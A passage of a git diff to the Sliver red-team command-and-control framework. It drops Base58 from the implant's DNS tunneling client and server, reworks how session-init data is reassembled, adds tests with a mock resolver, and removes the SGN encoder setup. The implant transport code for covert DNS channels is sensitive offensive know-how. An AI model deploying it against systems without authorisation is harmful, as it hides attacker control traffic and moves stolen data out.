golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
@@ -37,17 +37,6 @@ package dnsclient
Stop = 4 bytes max
Size = 4 bytes max
Data = 78 - (2+4+4+4+4) ~= 60 bytes per query worst case
*** BASE58 ***
Base58 ~2% less efficient than Base64, but we can't use all 64 chars in DNS so
it's just not an option, we could potentially use some type of Base62 encoding
but those implementations are more complex and only marginally more efficient
than Base58, and Base58 avoids any complexities with '-' in domain names.
The idea is that since the server returns the messages CRC32 checksum we can detect
when the message is transparently corrupted by some rude resolver. So when we init
the session we send a few messages with random data to see if we can use Base58, and
fallback to Base32 if we detect problems.
*/
// {{if .Config.IncludeDNS}}
@@ -102,7 +91,6 @@ type DNSOptions struct {
RetryCount int
MaxErrors int
WorkersPerResolver int
ForceBase32 bool
NoTXT bool
ForceResolvConf string
ForceResolvers string
@@ -142,7 +130,6 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
RetryCount: retryCount,
MaxErrors: maxErrors,
WorkersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
ForceResolvers: c2URI.Query().Get("resolvers"),
@@ -169,7 +156,6 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
return &SliverDNSClient{
metadata: map[string]*ResolverMetadata{},
parent: parent,
forceBase32: opts.ForceBase32,
noTXT: opts.NoTXT,
forceResolvConf: opts.ForceResolvConf,
forceResolvers: opts.ForceResolvers,
@@ -181,7 +167,6 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
WorkersPerResolver: opts.WorkersPerResolver,
subdataSpace: 254 - len(parent) - (1 + (254-len(parent))/64),
base32: encoders.Base32Encoder{},
base58: encoders.Base58Encoder{},
}
}
@@ -195,7 +180,6 @@ type SliverDNSClient struct {
retryWait time.Duration
retryCount int
queryTimeout time.Duration
forceBase32 bool
noTXT bool
forceResolvConf string
forceResolvers string
@@ -211,9 +195,6 @@ type SliverDNSClient struct {
WorkersPerResolver int
base32 encoders.Base32Encoder
base58 encoders.Base58Encoder
enableCaseSensitiveEncoder bool
}
// DNSWork - Single unit of work for DNSWorker
@@ -278,10 +259,9 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D
// ResolverMetadata - Metadata for the resolver
type ResolverMetadata struct {
Address string
EnableBase58 bool
Metrics []time.Duration
Errors int
Address string
Metrics []time.Duration
Errors int
}
// SessionInit - Initialize DNS session
@@ -328,19 +308,13 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
resolver, meta := s.randomResolver()
var encoder encoders.Encoder
if meta.EnableBase58 {
encoder = s.base58
} else {
encoder = s.base32
}
resolver, _ := s.randomResolver()
initMsg := &dnspb.DNSMessage{
ID: s.nextMsgID(),
Type: dnspb.DNSMessageType_INIT,
Size: uint32(len(initData)),
}
respData, err := s.sendInit(resolver, encoder, initMsg, initData)
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg send failure %v", err)
@@ -403,7 +377,8 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
return nil, err
}
resp := []byte{}
for _, subdata := range allSubdata {
receivedResponse := false
for index, subdata := range allSubdata {
var respData []byte
var err error
@@ -419,14 +394,25 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
return nil, err
}
if 0 < len(respData) {
resp = append(resp, respData...)
} else {
if len(allSubdata) == 1 {
resp = append(resp, respData...)
} else {
resp = respData
}
receivedResponse = true
} else if len(allSubdata) == 1 || (index == len(allSubdata)-1 && !receivedResponse) {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, ErrInvalidResponse
}
}
if !receivedResponse {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, ErrInvalidResponse
}
return resp, nil
}
@@ -460,8 +446,8 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
log.Printf("[dns] read envelope ...")
// {{end}}
resolver, meta := s.randomResolver()
pollMsg, err := s.pollMsg(meta)
resolver, _ := s.randomResolver()
pollMsg, err := s.pollMsg()
if err != nil {
return nil, err
}
@@ -561,19 +547,13 @@ func (s *SliverDNSClient) CloseSession() error {
// parallelSend - send a full message to teh server
func (s *SliverDNSClient) parallelSend(data []byte) error {
var encoder encoders.Encoder
if s.enableCaseSensitiveEncoder {
encoder = s.base58
} else {
encoder = s.base32
}
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_DATA_FROM_IMPLANT,
ID: s.nextMsgID(),
Size: uint32(len(data)),
}
domains, err := s.SplitBuffer(msg, encoder, data)
domains, err := s.SplitBuffer(msg, s.base32, data)
if err != nil {
return err
}
@@ -889,7 +869,7 @@ func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
return domain, nil
}
func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
func (s *SliverDNSClient) pollMsg() (string, error) {
nonceBuf := make([]byte, 8)
rand.Read(nonceBuf)
pollMsg, _ := proto.Marshal(&dnspb.DNSMessage{
@@ -897,13 +877,8 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
Type: dnspb.DNSMessageType_POLL,
Data: nonceBuf,
})
if s.enableCaseSensitiveEncoder {
msg, _ := s.base58.Encode(pollMsg)
return string(msg), nil
} else {
msg, _ := s.base32.Encode(pollMsg)
return string(msg), nil
}
msg, _ := s.base32.Encode(pollMsg)
return string(msg), nil
}
func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
@@ -914,13 +889,8 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
Type: dnspb.DNSMessageType_CLEAR,
Data: nonceBuf,
})
if s.enableCaseSensitiveEncoder {
msg, _ := s.base58.Encode(clearMsg)
return string(msg), nil
} else {
msg, _ := s.base32.Encode(clearMsg)
return string(msg), nil
}
msg, _ := s.base32.Encode(clearMsg)
return string(msg), nil
}
func (s *SliverDNSClient) otpMsg() (string, error) {
@@ -936,7 +906,7 @@ func (s *SliverDNSClient) otpMsg() (string, error) {
return string(msg), nil
}
// fingerprintResolver - Fingerprints resolve to determine if we can use a case sensitive encoding
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
func (s *SliverDNSClient) fingerprintResolvers() {
wg := &sync.WaitGroup{}
// {{if .Config.Debug}}
@@ -960,15 +930,14 @@ func (s *SliverDNSClient) fingerprintResolvers() {
// {{if .Config.Debug}}
for _, result := range s.metadata {
log.Printf("[dns] %s: avg rtt %s, base58: %v, errors %d",
result.Address, s.averageRtt(result), result.EnableBase58, result.Errors)
log.Printf("[dns] %s: avg rtt %s, errors %d",
result.Address, s.averageRtt(result), result.Errors)
}
// {{end}}
// NOTE: In the future we may want to add a configurable error threshold for now
// if we encounter any errors we don't use the resolver.
workingResolvers := []DNSResolver{}
allSupportBase58 := true
for _, resolver := range s.resolvers {
meta := s.metadata[resolver.Address()]
if 0 < meta.Errors {
@@ -977,41 +946,24 @@ func (s *SliverDNSClient) fingerprintResolvers() {
// {{end}}
continue
}
if !meta.EnableBase58 {
allSupportBase58 = false
}
workingResolvers = append(workingResolvers, resolver)
}
if allSupportBase58 && !s.forceBase32 {
s.enableCaseSensitiveEncoder = true
}
s.resolvers = workingResolvers
}
// Fingerprints a single resolver to determine if we can use a case sensitive encoding, average
// round trip time, and if it works at all
// Fingerprints a single resolver to measure RTT and validate base32 transport.
func (s *SliverDNSClient) fingerprintResolver(id int, wg *sync.WaitGroup, results chan<- *ResolverMetadata, resolver DNSResolver) {
defer wg.Done()
meta := &ResolverMetadata{
Address: resolver.Address(),
EnableBase58: false,
Metrics: []time.Duration{},
Errors: 0,
}
s.benchmark(id, s.base32, resolver, meta)
if meta.Errors == 0 && !s.forceBase32 {
s.benchmark(id, s.base58, resolver, meta)
if meta.Errors == 0 {
meta.EnableBase58 = true
} else {
meta.EnableBase58 = false
meta.Errors = 0 // Reset base32 error count
}
Address: resolver.Address(),
Metrics: []time.Duration{},
Errors: 0,
}
s.benchmark(id, resolver, meta)
results <- meta
}
func (s *SliverDNSClient) benchmark(id int, encoder encoders.Encoder, resolver DNSResolver, meta *ResolverMetadata) {
func (s *SliverDNSClient) benchmark(id int, resolver DNSResolver, meta *ResolverMetadata) {
for index := 0; index < metricsMaxSize/2; index++ {
finger, fingerChecksum, err := s.fingerprintMsg(id)
if err != nil {
@@ -1021,7 +973,7 @@ func (s *SliverDNSClient) benchmark(id int, encoder encoders.Encoder, resolver D
// {{end}}
continue
}
encodedValue, _ := encoder.Encode(finger)
encodedValue, _ := s.base32.Encode(finger)
domain, err := s.joinSubdataToParent(string(encodedValue))
if err != nil {
meta.Errors++
@@ -36,9 +36,10 @@ import (
const (
// Do not change these without updating the tests
parent1 = ".1.example.com."
parent2 = ".something-longer.example.com."
parent3 = ".something-even-longer.example.computer."
parent1 = ".1.example.com."
parent2 = ".something-longer.example.com."
parent3 = ".something-even-longer.example.computer."
base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
)
var (
@@ -70,35 +71,39 @@ func randomData(size int) []byte {
return buf
}
func TestSplitBufferBase58(t *testing.T) {
t.Logf("Testing with client1")
client1 := NewDNSClient(parent1, opts)
testData := randomData(2048)
clientSplitBuffer(t, client1, encoders.Base58{}, testData)
t.Logf("Testing with client2")
client2 := NewDNSClient(parent2, opts)
testData2 := randomData(2048)
clientSplitBuffer(t, client2, encoders.Base58{}, testData2)
t.Logf("Testing with client3")
client3 := NewDNSClient(parent3, opts)
testData3 := randomData(2048)
clientSplitBuffer(t, client3, encoders.Base58{}, testData3)
t.Logf("Testing with client max")
clientMax := NewDNSClient(parentMax, opts)
testDataMax := randomData(2048)
clientSplitBuffer(t, clientMax, encoders.Base58{}, testDataMax)
t.Logf("Testing all clients with randomly sized data")
for _, client := range []*SliverDNSClient{client1, client2, client3} {
for count := 0; count < 10; count++ {
testData := randomDataRandomSize(2 * 1024 * 1024)
clientSplitBuffer(t, client, encoders.Base58{}, testData)
func isBase32String(value string) bool {
for i := 0; i < len(value); i++ {
if strings.IndexByte(base32Alphabet, value[i]) == -1 {
return false
}
}
return true
}
type initSequenceResolver struct {
responses [][]byte
index int
}
func (r *initSequenceResolver) Address() string {
return "init-sequence"
}
func (r *initSequenceResolver) A(domain string) ([]byte, time.Duration, error) {
return nil, 0, nil
}
func (r *initSequenceResolver) AAAA(domain string) ([]byte, time.Duration, error) {
return nil, 0, nil
}
func (r *initSequenceResolver) TXT(domain string) ([]byte, time.Duration, error) {
if r.index >= len(r.responses) {
return nil, 0, nil
}
resp := r.responses[r.index]
r.index++
return resp, 0, nil
}
func TestSplitBufferBase32(t *testing.T) {
@@ -132,6 +137,69 @@ func TestSplitBufferBase32(t *testing.T) {
}
}
func TestSplitBufferDomainConstraints(t *testing.T) {
client := NewDNSClient(parent1, opts)
testData := randomData(8192)
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_DATA_FROM_IMPLANT,
Size: uint32(len(testData)),
}
domains, err := client.SplitBuffer(msg, encoders.Base32{}, testData)
if err != nil {
t.Fatalf("Unexpected error splitting buffer: %s", err)
}
for _, domain := range domains {
if !strings.HasSuffix(domain, parent1) {
t.Fatalf("Domain missing parent suffix: %s", domain)
}
if len(domain) > 254 {
t.Fatalf("Domain exceeds DNS length limit: %d", len(domain))
}
subdata := strings.TrimSuffix(domain, parent1)
if !isBase32String(strings.ReplaceAll(subdata, ".", "")) {
t.Fatalf("Subdata contains non-base32 characters: %s", subdata)
}
for _, label := range strings.Split(subdata, ".") {
if len(label) > 63 {
t.Fatalf("Label exceeds 63 chars: %s", label)
}
}
}
}
func TestSendInitAllowsEmptyResponses(t *testing.T) {
client := NewDNSClient(parent1, opts)
testData := randomData(4096)
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 1,
Size: uint32(len(testData)),
}
domains, err := client.SplitBuffer(msg, encoders.Base32{}, testData)
if err != nil {
t.Fatalf("Unexpected error splitting buffer: %s", err)
}
if len(domains) < 2 {
t.Fatalf("expected multiple subdata domains, got %d", len(domains))
}
expected := []byte{1, 2, 3, 4}
responses := make([][]byte, len(domains))
responses[len(responses)-1] = expected
resolver := &initSequenceResolver{responses: responses}
resp, err := client.sendInit(resolver, encoders.Base32{}, msg, testData)
if err != nil {
t.Fatalf("sendInit failed: %s", err)
}
if !bytes.Equal(resp, expected) {
t.Fatalf("unexpected init response: %v", resp)
}
if resolver.index != len(domains) {
t.Fatalf("expected %d resolver calls, got %d", len(domains), resolver.index)
}
}
func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.Encoder, testData []byte) {
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_DATA_FROM_IMPLANT,
@@ -162,25 +230,74 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
}
}
// func addTestResolver(client *SliverDNSClient, enableBase58 bool) {
// client.resolvers = []DNSResolver{
// &GenericResolver{
// address: "127.0.0.1:53",
// retries: 1,
// retryWait: retryWait,
// resolver: &dns.Client{
// ReadTimeout: timeout,
// WriteTimeout: timeout,
// },
// base64: encoders.Base64{},
// },
// }
// client.metadata["127.0.0.1:53"] = &ResolverMetadata{
// Address: "127.0.0.1:53",
// EnableBase58: enableBase58,
// Errors: 0,
// }
// }
func TestOTPMsgRoundTrip(t *testing.T) {
client := NewDNSClient(parent1, opts)
encoded, err := client.otpMsg()
if err != nil {
t.Fatalf("Unexpected otpMsg error: %s", err)
}
if !isBase32String(encoded) {
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
}
raw, err := encoders.Base32{}.Decode([]byte(encoded))
if err != nil {
t.Fatalf("Unexpected otpMsg decode error: %s", err)
}
msg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, msg); err != nil {
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
}
if msg.Type != dnspb.DNSMessageType_TOTP {
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
}
if msg.ID != 0 {
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
}
}
func TestPollAndClearMsgRoundTrip(t *testing.T) {
client := NewDNSClient(parent1, opts)
client.dnsSessionID = 42
pollEncoded, err := client.pollMsg()
if err != nil {
t.Fatalf("Unexpected pollMsg error: %s", err)
}
clearEncoded, err := client.clearMsg(99)
if err != nil {
t.Fatalf("Unexpected clearMsg error: %s", err)
}
for _, test := range []struct {
name string
encoded string
wantType dnspb.DNSMessageType
wantID uint32
wantDataSz int
}{
{name: "poll", encoded: pollEncoded, wantType: dnspb.DNSMessageType_POLL, wantID: 42, wantDataSz: 8},
{name: "clear", encoded: clearEncoded, wantType: dnspb.DNSMessageType_CLEAR, wantID: 99, wantDataSz: 8},
} {
if !isBase32String(test.encoded) {
t.Fatalf("%s contains non-base32 characters: %s", test.name, test.encoded)
}
raw, err := encoders.Base32{}.Decode([]byte(test.encoded))
if err != nil {
t.Fatalf("%s decode error: %s", test.name, err)
}
msg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, msg); err != nil {
t.Fatalf("%s unmarshal error: %s", test.name, err)
}
if msg.Type != test.wantType {
t.Fatalf("%s type mismatch: %v", test.name, msg.Type)
}
if msg.ID != test.wantID {
t.Fatalf("%s id mismatch: %d", test.name, msg.ID)
}
if len(msg.Data) != test.wantDataSz {
t.Fatalf("%s data length mismatch: %d", test.name, len(msg.Data))
}
}
}
func TestSubdataSpace(t *testing.T) {
+1 -13
View File
@@ -252,19 +252,7 @@ func setupGo(appDir string) error {
return err
}
return setupSGN(appDir)
}
func setupSGN(appDir string) error {
goBinPath := filepath.Join(appDir, "go", "bin")
sgnZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
sgnZip, err := assetsFs.ReadFile(sgnZipFSPath)
if err != nil {
setupLog.Errorf("static asset not found: %s", sgnZipFSPath)
return err
}
_, err = unzipBuf(sgnZip, goBinPath)
return err
return nil
}
// SetupGoPath - Extracts dependencies to goPathSrc
+58 -25
View File
@@ -45,7 +45,6 @@ import (
"strings"
"sync"
"time"
"unicode"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/dnspb"
@@ -419,32 +418,17 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
// checksum calculation here to ensure that no one accidentally calculates the crc32
// of the plaintext data (that would be very bad).
func (s *SliverDNSServer) decodeSubdata(subdomain string) (*dnspb.DNSMessage, uint32, error) {
subdata := strings.Join(strings.Split(subdomain, "."), "")
subdata := strings.ToLower(strings.Join(strings.Split(subdomain, "."), ""))
dnsLog.Debugf("subdata = %s", subdata)
encoders := s.determineLikelyEncoders(subdata)
for _, encoder := range encoders {
data, err := encoder.Decode([]byte(subdata))
if err == nil {
msg := &dnspb.DNSMessage{}
err = proto.Unmarshal(data, msg)
if err == nil {
return msg, crc32.ChecksumIEEE(data), nil
}
}
dnsLog.Debugf("failed to decode subdata with %#v (%s)", encoder, err)
data, err := encoders.Base32{}.Decode([]byte(subdata))
if err != nil {
return nil, 0, ErrInvalidMsg
}
return nil, 0, ErrInvalidMsg
}
// Returns the most likely -> least likely encoders, if decoding fails fallback to
// the next encoder until we run out of options.
func (s *SliverDNSServer) determineLikelyEncoders(subdata string) []encoders.Encoder {
for _, char := range subdata {
if unicode.IsUpper(char) {
return []encoders.Encoder{encoders.Base58{}, encoders.Base32{}}
}
msg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(data, msg); err != nil {
return nil, 0, ErrInvalidMsg
}
return []encoders.Encoder{encoders.Base32{}, encoders.Base58{}}
return msg, crc32.ChecksumIEEE(data), nil
}
func (s *SliverDNSServer) nameErrorResp(req *dns.Msg) *dns.Msg {
@@ -454,6 +438,13 @@ func (s *SliverDNSServer) nameErrorResp(req *dns.Msg) *dns.Msg {
return resp
}
func (s *SliverDNSServer) emptySuccessResp(req *dns.Msg) *dns.Msg {
resp := new(dns.Msg)
resp.SetReply(req)
resp.Authoritative = true
return resp
}
func (s *SliverDNSServer) refusedErrorResp(req *dns.Msg) *dns.Msg {
resp := new(dns.Msg)
resp.SetRcode(req, dns.RcodeRefused)
@@ -461,6 +452,38 @@ func (s *SliverDNSServer) refusedErrorResp(req *dns.Msg) *dns.Msg {
return resp
}
func (s *SliverDNSServer) accumulateInitData(msg *dnspb.DNSMessage) ([]byte, bool, error) {
if msg.Size == 0 {
return nil, false, ErrInvalidMsg
}
pendingValue, loaded := s.messages.Load(msg.ID)
if !loaded {
pendingValue = &PendingEnvelope{
Size: msg.Size,
received: uint32(0),
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
}
actual, _ := s.messages.LoadOrStore(msg.ID, pendingValue)
pendingValue = actual
}
pending := pendingValue.(*PendingEnvelope)
if pending.Size != msg.Size && msg.Size != 0 {
s.messages.Delete(msg.ID)
return nil, false, ErrInvalidMsg
}
if !pending.Insert(msg) {
return nil, false, nil
}
data, err := pending.Reassemble()
s.messages.Delete(msg.ID)
if err != nil {
return nil, false, err
}
return data, true, nil
}
// ---------------------------
// DNS Message Handlers
// ---------------------------
@@ -502,7 +525,7 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
dnsLog.Debugf("[session init] with dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
if len(msg.Data) <= 32 {
if msg.Size <= 32 {
dnsLog.Warnf("[session init] invalid msg data length")
return s.refusedErrorResp(req)
}
@@ -511,6 +534,16 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
return s.refusedErrorResp(req)
}
initData, complete, err := s.accumulateInitData(msg)
if err != nil {
dnsLog.Errorf("[session init] error reassembling init data: %s", err)
return s.refusedErrorResp(req)
}
if !complete {
return s.emptySuccessResp(req)
}
msg.Data = initData
var publicKeyDigest [32]byte
copy(publicKeyDigest[:], msg.Data[:32])
implantBuild, err := db.ImplantBuildByPublicKeyDigest(publicKeyDigest)
+696 -9
View File
@@ -21,16 +21,24 @@ package c2
import (
"bytes"
"crypto/rand"
"encoding/binary"
"fmt"
"hash/crc32"
insecureRand "math/rand"
"strings"
"sync"
"testing"
"time"
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
"github.com/bishopfox/sliver/protobuf/dnspb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/util/encoders"
"github.com/miekg/dns"
"google.golang.org/protobuf/proto"
)
@@ -61,6 +69,93 @@ func shuffleDNSMsgs(a []*dnspb.DNSMessage) {
}
}
type testDNSResolver struct {
server *SliverDNSServer
parent string
base64 implantEncoders.Base64Encoder
}
func (r *testDNSResolver) Address() string {
return "test-resolver"
}
func (r *testDNSResolver) A(domain string) ([]byte, time.Duration, error) {
resp, err := r.exchange(domain, dns.TypeA)
if err != nil {
return nil, 0, err
}
records := []byte{}
for _, answer := range resp.Answer {
if a, ok := answer.(*dns.A); ok {
records = append(records, []byte(a.A)...)
}
}
return records, 0, nil
}
func (r *testDNSResolver) AAAA(domain string) ([]byte, time.Duration, error) {
resp, err := r.exchange(domain, dns.TypeAAAA)
if err != nil {
return nil, 0, err
}
records := make([]byte, 512)
dataSize := uint32(0)
for _, answer := range resp.Answer {
if aaaa, ok := answer.(*dns.AAAA); ok {
chunkMeta := uint32(aaaa.Hdr.Ttl)
chunkIdx := (chunkMeta & 0xff00) >> 8
tempSize := chunkMeta & 0xff
if dataSize != 0 && tempSize != dataSize {
return nil, 0, dnsclient.ErrInvalidResponse
}
if dataSize == 0 {
dataSize = tempSize
}
copy(records[chunkIdx*16:], []byte(aaaa.AAAA))
}
}
if dataSize == 0 {
return nil, 0, nil
}
data := make([]byte, dataSize)
copy(data, records[:dataSize])
return data, 0, nil
}
func (r *testDNSResolver) TXT(domain string) ([]byte, time.Duration, error) {
resp, err := r.exchange(domain, dns.TypeTXT)
if err != nil {
return nil, 0, err
}
records := ""
for _, answer := range resp.Answer {
if txt, ok := answer.(*dns.TXT); ok {
records += strings.Join(txt.Txt, "")
}
}
if records == "" {
return nil, 0, nil
}
data, err := r.base64.Decode([]byte(records))
if err != nil {
return nil, 0, err
}
return data, 0, nil
}
func (r *testDNSResolver) exchange(domain string, qtype uint16) (*dns.Msg, error) {
req := new(dns.Msg)
req.SetQuestion(domain, qtype)
resp := r.server.handleC2(r.parent, req)
if resp == nil {
return nil, dnsclient.ErrInvalidResponse
}
if resp.Rcode != dns.RcodeSuccess {
return resp, dnsclient.ErrInvalidResponse
}
return resp, nil
}
func randomDNSMsgs(t *testing.T, parent string, maxSize int, encoder encoders.Encoder, client *dnsclient.SliverDNSClient) ([]*dnspb.DNSMessage, []byte) {
testData := randomDataRandomSize(maxSize)
dnsMsgs := []*dnspb.DNSMessage{}
@@ -93,12 +188,10 @@ func randomDNSMsgs(t *testing.T, parent string, maxSize int, encoder encoders.En
func TestPendingEnvelopes(t *testing.T) {
// *** Small ***
for i := 0; i < 100; i++ {
reassemble(t, example1, 256, encoders.Base58{})
reassemble(t, example1, 256, encoders.Base32{})
}
// *** Large ***
for i := 0; i < 100; i++ {
reassemble(t, example1, 30*1024, encoders.Base58{})
reassemble(t, example1, 30*1024, encoders.Base32{})
}
}
@@ -139,6 +232,194 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
}
}
func TestDNSHelloRoundTrip(t *testing.T) {
server := newTestDNSServer()
resolver := &testDNSResolver{server: server, parent: example1}
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: 0,
}
domain, err := encodeMessageDomain(example1, msg)
if err != nil {
t.Fatalf("encodeMessageDomain failed: %s", err)
}
data, _, err := resolver.A(domain)
if err != nil {
t.Fatalf("resolver.A failed: %s", err)
}
if len(data) != 4 {
t.Fatalf("expected 4 bytes in response, got %d", len(data))
}
sessionID := binary.LittleEndian.Uint32(data) & sessionIDBitMask
if sessionID == 0 {
t.Fatal("expected non-zero session id")
}
if _, ok := server.sessions.Load(sessionID); !ok {
t.Fatalf("expected session %d to be stored", sessionID)
}
}
func TestDNSNOPRoundTripChecksum(t *testing.T) {
server := newTestDNSServer()
sessionID := uint32(0x123456)
dnsSession := newTestDNSSession(sessionID)
server.sessions.Store(sessionID, dnsSession)
payload := make([]byte, 16)
rand.Read(payload)
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_NOP,
ID: (1 << 24) | sessionID,
Data: payload,
}
raw, err := proto.Marshal(msg)
if err != nil {
t.Fatalf("marshal failed: %s", err)
}
domain, err := encodeMessageDomain(example1, msg)
if err != nil {
t.Fatalf("encodeMessageDomain failed: %s", err)
}
resolver := &testDNSResolver{server: server, parent: example1}
data, _, err := resolver.A(domain)
if err != nil {
t.Fatalf("resolver.A failed: %s", err)
}
if len(data) != 4 {
t.Fatalf("expected 4 bytes in response, got %d", len(data))
}
got := binary.LittleEndian.Uint32(data)
want := crc32.ChecksumIEEE(raw)
if got != want {
t.Fatalf("checksum mismatch: got %d want %d", got, want)
}
}
func TestDNSPollManifestReuse(t *testing.T) {
server := newTestDNSServer()
sessionID := uint32(0x654321)
dnsSession := newTestDNSSession(sessionID)
server.sessions.Store(sessionID, dnsSession)
resolver := &testDNSResolver{server: server, parent: example1}
pollMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_POLL,
ID: sessionID,
Data: []byte{1, 2, 3, 4, 5, 6, 7, 8},
}
pollDomain, err := encodeMessageDomain(example1, pollMsg)
if err != nil {
t.Fatalf("encodeMessageDomain failed: %s", err)
}
respData, _, err := resolver.TXT(pollDomain)
if err != nil {
t.Fatalf("resolver.TXT failed: %s", err)
}
manifest := &dnspb.DNSMessage{}
if err := proto.Unmarshal(respData, manifest); err != nil {
t.Fatalf("manifest unmarshal failed: %s", err)
}
if manifest.Type != dnspb.DNSMessageType_MANIFEST || manifest.Size != 0 || manifest.ID != 0 {
t.Fatalf("unexpected empty manifest: %+v", manifest)
}
msgID := uint32(0x01000000 | sessionID)
dnsSession.outgoingMsgIDs = append(dnsSession.outgoingMsgIDs, msgID)
dnsSession.outgoingBuffers[msgID] = bytes.Repeat([]byte{0xAB}, 32)
respData, _, err = resolver.TXT(pollDomain)
if err != nil {
t.Fatalf("resolver.TXT failed: %s", err)
}
manifest = &dnspb.DNSMessage{}
if err := proto.Unmarshal(respData, manifest); err != nil {
t.Fatalf("manifest unmarshal failed: %s", err)
}
if manifest.Type != dnspb.DNSMessageType_MANIFEST || manifest.ID != msgID || manifest.Size != 32 {
t.Fatalf("unexpected manifest: %+v", manifest)
}
if dnsSession.dnsIdMsgIdMap[pollMsg.ID] != msgID {
t.Fatalf("expected dnsIdMsgIdMap to track msg id %d", msgID)
}
respData, _, err = resolver.TXT(pollDomain)
if err != nil {
t.Fatalf("resolver.TXT failed: %s", err)
}
manifest = &dnspb.DNSMessage{}
if err := proto.Unmarshal(respData, manifest); err != nil {
t.Fatalf("manifest unmarshal failed: %s", err)
}
if manifest.Type != dnspb.DNSMessageType_MANIFEST || manifest.ID != msgID || manifest.Size != 32 {
t.Fatalf("unexpected reused manifest: %+v", manifest)
}
}
func TestDNSReadEnvelopeRoundTripTXT(t *testing.T) {
runDNSReadEnvelopeRoundTrip(t, false)
}
func TestDNSReadEnvelopeRoundTripAAAA(t *testing.T) {
runDNSReadEnvelopeRoundTrip(t, true)
}
func TestDNSWriteEnvelopeRoundTrip(t *testing.T) {
server := newTestDNSServer()
sessionID := uint32(0x102030)
key := implantCrypto.RandomSymmetricKey()
dnsSession := newTestDNSSession(sessionID)
dnsSession.CipherCtx = serverCrypto.NewCipherContext(key)
dnsSession.ImplantConn = core.NewImplantConnection("dns", "n/a")
respCh := make(chan *sliverpb.Envelope, 1)
dnsSession.ImplantConn.Resp[77] = respCh
server.sessions.Store(sessionID, dnsSession)
resolver := &testDNSResolver{server: server, parent: example1}
envelope := &sliverpb.Envelope{
ID: 77,
Type: sliverpb.MsgPing,
Data: []byte("hello"),
}
sendEnvelopeViaDNS(t, resolver, sessionID, key, envelope)
select {
case got := <-respCh:
if !proto.Equal(got, envelope) {
t.Fatalf("envelope mismatch: %#v != %#v", got, envelope)
}
case <-time.After(2 * time.Second):
t.Fatal("timeout waiting for envelope")
}
}
func TestDNSDataToImplantRejectsInvalidRead(t *testing.T) {
server := newTestDNSServer()
sessionID := uint32(0x121212)
dnsSession := newTestDNSSession(sessionID)
dnsSession.outgoingBuffers[0x01000000|sessionID] = bytes.Repeat([]byte{0xCD}, 16)
server.sessions.Store(sessionID, dnsSession)
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_DATA_TO_IMPLANT,
ID: 0x01000000 | sessionID,
Start: 5,
Stop: 4,
}
domain, err := encodeMessageDomain(example1, msg)
if err != nil {
t.Fatalf("encodeMessageDomain failed: %s", err)
}
req := new(dns.Msg)
req.SetQuestion(domain, dns.TypeTXT)
resp := server.handleC2(example1, req)
